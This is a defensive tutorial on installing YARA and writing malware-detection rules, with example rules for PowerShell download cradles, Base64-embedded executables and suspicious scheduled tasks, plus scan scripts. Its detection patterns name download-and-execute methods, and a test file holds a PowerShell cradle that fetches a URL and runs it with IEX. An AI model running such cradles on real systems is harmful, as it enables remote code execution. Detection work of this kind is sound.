Introduction
YARA is the de-facto standard for pattern-based malware classification. Often described as "the pattern matching Swiss knife for malware researchers," YARA lets you write rules that describe file characteristics — strings, byte sequences, metadata conditions — and then scan entire filesystems, memory dumps, or live processes against those rules in seconds.
If your job touches incident response, threat hunting, EDR tuning, or threat intelligence consumption, writing your own YARA rules is a skill that pays dividends every week. Rules from community repositories like YARA-Forge and Valhalla are invaluable, but knowing how to author your own lets you respond to novel IOCs the moment they land in a threat report.
This guide walks you through installing YARA, understanding rule syntax, writing rules from basic to advanced, integrating external modules, and deploying scans in a practical workflow.
Prerequisites
Before you start:
- A Linux host (Ubuntu 22.04/24.04 recommended) or Windows 10/11 with WSL2
- Root or sudo access for installation
- Optional: a malware sample sandbox (FlareVM, REMnux, or an isolated VM) for testing against real samples
curlorwgetfor downloading signatures
Safety note: Never test YARA rules against real malware on a production system. Use an isolated VM with snapshots, or use benign test files. The EICAR test string is safe and triggers AV/YARA anti-malware rule examples.
Step 1: Install YARA
Linux (Ubuntu/Debian)
sudo apt update
sudo apt install -y yara
yara --versionFor the latest version (the apt package lags by a release or two):
# Install build dependencies
sudo apt install -y \
build-essential \
libssl-dev \
libjansson-dev \
libmagic-dev \
pkg-config \
automake \
libtool
# Download and build from source
YARA_VER="4.5.2"
curl -sL "https://github.com/VirusTotal/yara/releases/download/v${YARA_VER}/yara-${YARA_VER}.tar.gz" \
| tar xz
cd yara-${YARA_VER}
./bootstrap.sh
./configure \
--with-crypto \
--enable-magic \
--enable-cuckoo \
--enable-dotnet
make -j$(nproc)
sudo make install
sudo ldconfig
yara --versionmacOS
brew install yaraWindows
Download the latest prebuilt binary from the YARA releases page and add it to your PATH, or use WSL2 with the Linux instructions above.
Python bindings (optional but useful)
pip install yara-pythonStep 2: Understand YARA Rule Anatomy
Every YARA rule follows this structure:
rule RuleName : tag1 tag2
{
meta:
author = "Dylan H."
description = "Detects something suspicious"
date = "2026-08-17"
severity = "high"
reference = "https://example.com/threat-report"
strings:
$s1 = "malicious_string" ascii wide
$s2 = { 4D 5A 90 00 03 00 00 00 } // hex bytes
$r1 = /[Pp]ow[Ee]r[Ss]hell.*-[Ee]nc/ // regex
condition:
uint16(0) == 0x5A4D and // MZ header = PE file
filesize < 5MB and
any of ($s*)
}Key sections
| Section | Purpose |
|---|---|
meta | Human-readable metadata — not used in matching |
strings | Named patterns: plain text, hex, or regex |
condition | Boolean expression combining string matches and file properties |
String modifiers
$s1 = "cmd.exe" ascii // ASCII text (default)
$s2 = "cmd.exe" wide // UTF-16LE (Windows unicode)
$s3 = "cmd.exe" ascii wide // Both encodings
$s4 = "powershell" nocase // Case-insensitive
$s5 = "regsvr32" fullword // Must be a whole word
$s6 = "dropper" xor // XOR-obfuscated (key 0x01–0xFF)
$s7 = "payload" base64 // Base64-encoded variantsStep 3: Write Your First Rule
Create a working directory and start with something concrete — a rule that flags files containing the classic EICAR test string (safe, no malware):
mkdir -p ~/yara-rules ~/yara-test
cd ~/yara-rulescat > eicar-test.yar << 'EOF'
rule EICAR_Test_String
{
meta:
author = "Dylan H."
description = "Detects the EICAR antivirus test string"
reference = "https://www.eicar.org/?page_id=3950"
date = "2026-08-17"
strings:
$eicar = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
condition:
$eicar
}
EOFCreate a test file and scan it:
# Write the EICAR test string to a file (harmless)
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' \
> ~/yara-test/eicar.txt
# Scan the test file
yara ~/yara-rules/eicar-test.yar ~/yara-test/eicar.txtExpected output:
EICAR_Test_String /home/user/yara-test/eicar.txt
Scan a whole directory with -r (recursive):
yara -r ~/yara-rules/eicar-test.yar ~/yara-test/Step 4: Build Practical Detection Rules
Rule: Detect PowerShell download cradles
A common attacker technique is using PowerShell to download and execute payloads. This rule flags scripts containing download-and-execute patterns:
rule PowerShell_Download_Cradle
{
meta:
author = "Dylan H."
description = "Detects common PowerShell download-and-execute cradles"
severity = "high"
mitre_att_ck = "T1059.001, T1105"
date = "2026-08-17"
strings:
// IEX / Invoke-Expression with download
$iex1 = "IEX" ascii nocase
$iex2 = "Invoke-Expression" ascii nocase
// Download methods
$dl1 = "DownloadString" ascii nocase
$dl2 = "DownloadFile" ascii nocase
$dl3 = "Net.WebClient" ascii nocase
$dl4 = "Invoke-WebRequest" ascii nocase
$dl5 = "wget" ascii nocase
$dl6 = "curl" ascii nocase
// Encoded command flags
$enc1 = "-EncodedCommand" ascii nocase
$enc2 = "-enc " ascii nocase
$enc3 = "-ec " ascii nocase
// Execution policy bypass
$bypass = "bypass" ascii nocase
condition:
filesize < 5MB and
(
(any of ($iex*) and any of ($dl*)) or
(any of ($enc*) and $bypass)
)
}Rule: Detect Base64-encoded PE files
Attackers often embed PE executables as Base64 within scripts or documents:
rule Embedded_Base64_PE
{
meta:
author = "Dylan H."
description = "Detects Base64-encoded MZ/PE headers embedded in text files"
severity = "medium"
date = "2026-08-17"
strings:
// Base64 encodings of "MZ" (the PE magic bytes) in various offsets
$b64_mz1 = "TVqQ" ascii // MZ\x90 at offset 0 mod 3
$b64_mz2 = "TVpA" ascii // MZ@ at offset 0 mod 3
$b64_mz3 = "TVoA" ascii // MZ\x00
$b64_mz4 = "TVQQ" ascii
$b64_mz5 = "0MZ" ascii // fragment
condition:
filesize < 10MB and
any of ($b64_mz*)
}Rule: Detect suspicious scheduled task XML
Windows scheduled tasks are abused for persistence. This flags task XML files with suspicious characteristics:
rule Suspicious_ScheduledTask_XML
{
meta:
author = "Dylan H."
description = "Detects scheduled task XML files with suspicious execution patterns"
severity = "medium"
mitre_att_ck = "T1053.005"
date = "2026-08-17"
strings:
$xml_header = "<?xml" ascii nocase
$task_ns = "Task xmlns" ascii nocase
$cmd = "cmd.exe" ascii wide nocase
$ps = "powershell" ascii wide nocase
$wscript = "wscript" ascii wide nocase
$cscript = "cscript" ascii wide nocase
$mshta = "mshta" ascii wide nocase
$rundll32 = "rundll32" ascii wide nocase
$regsvr32 = "regsvr32" ascii wide nocase
$hidden = "Hidden" ascii nocase
$system = "NT AUTHORITY\\SYSTEM" ascii wide
condition:
filesize < 500KB and
$xml_header and $task_ns and
(2 of ($cmd, $ps, $wscript, $cscript, $mshta, $rundll32, $regsvr32)) and
any of ($hidden, $system)
}Step 5: Use YARA Modules
Modules extend YARA with deeper parsing capabilities. The most useful are pe, elf, math, and hash.
PE module
Inspect PE file internals without writing hex patterns:
import "pe"
rule Suspicious_PE_Characteristics
{
meta:
author = "Dylan H."
description = "Detects PE files with suspicious combinations of characteristics"
date = "2026-08-17"
condition:
pe.is_pe and
pe.number_of_sections < 3 and
pe.characteristics & pe.EXECUTABLE_IMAGE and
not pe.characteristics & pe.DLL and
// Unusual section names (packed/obfuscated)
for any section in pe.sections : (
section.name == ".text" and
section.characteristics & pe.SECTION_EXECUTE and
section.characteristics & pe.SECTION_WRITE
)
}import "pe"
rule High_Import_Entropy_PE
{
meta:
description = "PE with very few imports — possible packer or shellcode loader"
date = "2026-08-17"
condition:
pe.is_pe and
pe.number_of_imports < 5 and
filesize > 50KB
}Math module — detect high entropy (packed/encrypted sections)
import "math"
rule High_Entropy_Executable
{
meta:
author = "Dylan H."
description = "Detects executables with sections of unusually high entropy (likely packed/encrypted)"
date = "2026-08-17"
condition:
uint16(0) == 0x5A4D and // MZ header
math.entropy(0, filesize) >= 7.2
}Hash module — exact hash matching
import "hash"
rule Known_Malware_By_Hash
{
meta:
author = "Dylan H."
description = "Flags files matching known-bad MD5 hashes"
date = "2026-08-17"
condition:
hash.md5(0, filesize) == "098f6bcd4621d373cade4e832627b4f6" or
hash.md5(0, filesize) == "5d41402abc4b2a76b9719d911017c592"
}Step 6: Organize Rules into Rule Sets
As your library grows, organize rules by category and compile them together:
mkdir -p ~/yara-rules/{persistence,execution,exfiltration,discovery,community}Create a master index file:
cat > ~/yara-rules/index.yar << 'EOF'
// Master YARA rule index
// Include all sub-rule files
include "./eicar-test.yar"
include "./persistence/scheduled-tasks.yar"
include "./execution/powershell-cradles.yar"
include "./execution/base64-pe.yar"
include "./discovery/high-entropy.yar"
EOFScan with the index:
yara -r ~/yara-rules/index.yar /path/to/scan/Compile rules for faster repeated scanning
# Compile all rules to a binary index (faster loading)
yarac ~/yara-rules/index.yar ~/yara-rules/compiled.yarc
# Use compiled rules
yara ~/yara-rules/compiled.yarc /path/to/scan/Step 7: Deploy YARA in a Scanning Workflow
One-shot directory scan with output to file
#!/usr/bin/env bash
# scan-directory.sh — scan a path and log YARA hits
RULES_FILE=~/yara-rules/compiled.yarc
SCAN_TARGET="${1:-/home}"
LOG_FILE="/var/log/yara-scan-$(date +%F-%H%M).log"
echo "=== YARA Scan: $(date) ===" | tee "$LOG_FILE"
echo "Target: $SCAN_TARGET" | tee -a "$LOG_FILE"
yara \
--recursive \
--no-warnings \
--print-meta \
--print-tags \
--print-strings \
"$RULES_FILE" \
"$SCAN_TARGET" 2>&1 | tee -a "$LOG_FILE"
HITS=$(grep -c "^[A-Z]" "$LOG_FILE" 2>/dev/null || echo 0)
echo "" | tee -a "$LOG_FILE"
echo "Scan complete. Hits: $HITS" | tee -a "$LOG_FILE"
echo "Log saved: $LOG_FILE"chmod +x ~/scan-directory.sh
~/scan-directory.sh /tmpPython integration for programmatic scanning
#!/usr/bin/env python3
"""yara-scan.py — scan a directory and return structured results."""
import yara
import os
import json
from pathlib import Path
RULES_PATH = Path.home() / "yara-rules" / "index.yar"
SCAN_PATH = Path("/tmp")
def scan_file(rules, file_path: Path) -> list[dict]:
"""Return list of match dicts for a single file."""
try:
matches = rules.match(str(file_path), timeout=30)
return [
{
"rule": m.rule,
"tags": m.tags,
"meta": m.meta,
"file": str(file_path),
}
for m in matches
]
except yara.TimeoutError:
print(f"[TIMEOUT] {file_path}")
except (yara.Error, PermissionError):
pass
return []
def main():
rules = yara.compile(str(RULES_PATH))
all_hits = []
for root, _, files in os.walk(SCAN_PATH):
for fname in files:
fpath = Path(root) / fname
hits = scan_file(rules, fpath)
all_hits.extend(hits)
print(json.dumps(all_hits, indent=2))
print(f"\nTotal hits: {len(all_hits)}")
if __name__ == "__main__":
main()Add a cron job for nightly scans
# Scan /tmp and /var/tmp every night at 02:30
echo "30 2 * * * root yara -r /root/yara-rules/compiled.yarc /tmp /var/tmp >> /var/log/yara-nightly.log 2>&1" \
| sudo tee /etc/cron.d/yara-scanStep 8: Pull Community Rules
Don't start from scratch. Pull maintained community rulesets:
# Clone YARA-Forge (curated, high-quality ruleset)
git clone https://github.com/YARAHQ/yara-forge.git ~/yara-forge
# Or grab individual collections
# Florian Roth's signature base
git clone https://github.com/Neo23x0/signature-base.git ~/signature-base
# Use them directly
yara -r ~/signature-base/yara/ /path/to/scan/Tip: Community rules often have false-positive tuning parameters in
meta. Read thereferenceanddescriptionfields, and test rules on known-good files before deploying to production endpoints.
Verification and Testing
Verify your installation
yara --version
# Expected: yara 4.x.xTest with EICAR (safe)
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' \
> /tmp/eicar-test.txt
yara ~/yara-rules/eicar-test.yar /tmp/eicar-test.txt
# Expected: EICAR_Test_String /tmp/eicar-test.txtTest rule syntax without running a scan
# Compile-check only (no scanning)
yarac ~/yara-rules/execution/powershell-cradles.yar /dev/null 2>&1
# No output = valid syntaxMeasure false positive rate on a known-good directory
# Scan your own home directory — any hits should be investigated
yara -r ~/yara-rules/index.yar ~/Documents/ 2>/dev/nullRun the test suite against crafted samples
# Write a benign PowerShell download cradle test file
cat > /tmp/test-ps-cradle.ps1 << 'EOF'
# Test file — NOT malicious
$wc = New-Object Net.WebClient
IEX $wc.DownloadString("http://example.com/test.txt")
EOF
yara ~/yara-rules/execution/powershell-cradles.yar /tmp/test-ps-cradle.ps1
# Expected: PowerShell_Download_Cradle /tmp/test-ps-cradle.ps1Troubleshooting
Rule fails to compile
error: unknown identifier "pe" on line 5
Fix: The pe module requires YARA built with module support. Rebuild with --enable-modules or install from source using the build instructions in Step 1.
Too many false positives
Start with more specific conditions:
condition:
// Add filesize guard
filesize < 2MB and
// Require MZ header (actual PE, not just any file)
uint16(0) == 0x5A4D and
// Require multiple string matches, not just one
3 of ($s*)Also use fullword to avoid matching substrings:
$s1 = "cmd" fullword ascii // won't match "scmdtool"YARA scan is slow on large directories
- Use compiled rules (
yarac) — dramatically faster to load - Add
filesize < NMBguards in every condition to skip large files quickly - Use
-f(fast scan) to skip files where no string matches before evaluating conditions:
yara --fast-scan -r rules.yarc /large/directory/Permission errors skipping files
Run with sudo for system directories, or redirect stderr to suppress noise:
yara -r rules.yarc /etc/ 2>/dev/nullModule hash or math not found
Verify your build included them:
yara --version
# Should list: Hash Module, Math Module, Magic ModuleIf missing, rebuild from source with:
./configure --with-crypto --enable-magicSummary
YARA gives you precise, fast, portable malware detection that you control entirely. Here's what you built in this guide:
- Installed YARA from packages or source with module support
- Understood rule anatomy — meta, strings, and condition blocks
- Wrote practical rules for PowerShell cradles, Base64-embedded PEs, and suspicious scheduled tasks
- Used modules (
pe,math,hash) for richer binary-aware detection - Organized a rule library with an index file and compiled rule sets
- Deployed scanning workflows with shell scripts and Python for automation
- Pulled community rulesets from YARA-Forge and signature-base
The next steps are to integrate YARA into your existing tooling: Wazuh supports YARA via active-response scripts, Velociraptor has a built-in YARA hunt artifact, and most EDR platforms allow uploading custom signatures. Start with a small, well-tested rule set and grow it incrementally as you encounter new threat intelligence — each new IOC report is an opportunity to write a rule that protects every system you monitor.